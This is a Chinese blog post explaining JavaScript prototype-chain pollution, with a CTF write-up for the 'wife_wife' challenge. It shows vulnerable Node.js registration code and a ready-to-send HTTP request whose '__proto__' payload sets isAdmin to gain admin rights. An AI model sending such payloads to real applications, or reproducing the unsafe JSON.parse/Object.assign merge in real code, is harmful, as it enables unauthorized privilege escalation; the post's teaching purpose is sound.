前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >js原型链污染

js原型链污染

作者头像
cultureSun
发布2023-12-22 16:00:14
1170
发布2023-12-22 16:00:14
举报
文章被收录于专栏:cultureSun学安全cultureSun学安全

js原型链

前两天,做了一道CTF题目,遇到了js原型链污染。 js原型,我的理解,类似于java中的静态属性。

  1. 原型(Prototype)

在JavaScript中,每个对象都有一个关联的原型对象(prototype object)。原型对象是一个普通的对象,它包含可以在实例中共享的属性和方法。当试图访问一个对象的属性或方法时,如果对象本身没有这个属性或方法,JavaScript引擎会沿着原型链向上查找,直到找到匹配的属性或方法或者到达原型链的顶端。

  1. 原型链(Prototype Chain)

原型链是一种对象之间的关系,它是由对象的原型对象构成的链式结构。当试图访问一个对象的属性或方法时,JavaScript引擎会沿着原型链向上查找,直到找到匹配的属性或方法或者到达原型链的顶端。

详解

控制台声明一个空对象,可以看到只有一个[[Prototype]]属性,这个就是js原型,同时可以看到这个空对象的原型继承自Object对象(所有的对象都会继承Object),有常用的toString()valueOf()方法。

2023-12-20T07:48:19.png
2023-12-20T07:48:19.png

控制台声明一个非空对象,同时创建一个原型属性。可以在[[Prototype]]中看到属性message,且其中还有一个[[Prototype]]原型又继承了另一个原型,这就是原型链。

2023-12-20T08:14:32.png
2023-12-20T08:14:32.png

原型操作

获取原型对象的方式又两种,一种是类名获取,一种是实例对象获取。

代码语言:javascript
复制
//通过构造方法声明 Animal 类
function Animal(name) {
    this.name = name;
}

//实例化一个Animal对象
var ani=new Animal("culturesun");

//通过类获取原型,且给原型添加 speak 方法属性
Animal.prototype.speak = function() {
    console.log(this.name + ' makes a noise.');
};

//通过实例对象ani获取原型,且给原型添加 eat 方法属性
ani.__proto__.eat = function() {
    console.log(this.name + ' eat an apple.');
};

//通过实例对象ani 运行 eat
ani.eat();
ani.__proto__.eat();

//通过构造方法声明 Dog 类
function Dog(name, breed) {
    this.breed = breed;
}

//通过类型修改原型为 Animal ,相当于继承
Dog.prototype = new Animal();

//实例化一个 Dog 对象
var dog = new Dog('Buddy', 'Golden Retriever');

//调用自身breed属性
console.log(dog.breed);

//调用Animal name属性
console.log(dog.name);

//调用Animal中的speak方法
dog.speak();

可以控制台执行,查看效果。

2023-12-20T09:50:38.png
2023-12-20T09:50:38.png

原型链污染

通过修改或者添加其原型链上的原型对象,使其当前对象可以访问到错误或者不具备的属性。示例代码:

代码语言:javascript
复制
    function Animal(name){
        this.name = name;
    }

    function Dog(type){
        this.type=type;
    }

    Dog.prototype=new Animal();

    var ani=new Animal('hhh');

    var d=new Dog('tugou');

    console.log(ani.color); //输出undefined
    console.log(d.color);  //输出undefined

    ani.__proto__.color='red';

    console.log(ani.color);  //输出red
    console.log(d.color);    //输出red

攻防世界wife_wife题目

代码分析:

代码语言:javascript
复制
app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
        return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
        return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
        return res.json({ msg: 'invalid invite code', err: true })
    }
    let newUser = Object.assign({}, baseUser, user) //就是这里,原型链污染
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
})

JSON.parse()配合Object.assign()可以触发原型链污染。let newUser = Object.assign({}, baseUser, user)的作用是把baseUser和user的属性合并后拷贝到{}中,即newUser是baseUser和user的集合。看示例代码:

代码语言:javascript
复制
var baseUser={};
var data='{"username":"e","password":"e","__proto__":{"isAdmin":true}}';
var user= JSON.parse(data);
console.log(user);
console.log(user.isAdmin); //这里输出的是undefined,故不会进入下面的if语句强制将user.isAdmin设为false
var INVITE_CODE="whatever";
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
}
let newUser = Object.assign({}, baseUser, user) //触发原型链污染
console.log(newUser.isAdmin); //输出true

可以控制台执行这段代码,查看usernewUser对象的属性。如下图:

2023-12-21T09:43:39.png
2023-12-21T09:43:39.png

JSON.parse()并不会把"__proto__"识别成原型对象,而是处理成字符串当作键。但是Object.assign()执行时识别成原型对象,进行赋值。所以造成了原型链污染。

wp: bp发包:

代码语言:javascript
复制
POST /register HTTP/1.1
Host: 61.147.171.105:49801
Content-Length: 62
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://61.147.171.105:49801
Referer: http://61.147.171.105:49801/register.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"username":"e","password":"e","__proto__":{"isAdmin":true}}
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-12-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
腾讯云代码分析
腾讯云代码分析(内部代号CodeDog)是集众多代码分析工具的云原生、分布式、高性能的代码综合分析跟踪管理平台,其主要功能是持续跟踪分析代码,观测项目代码质量,支撑团队传承代码文化。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档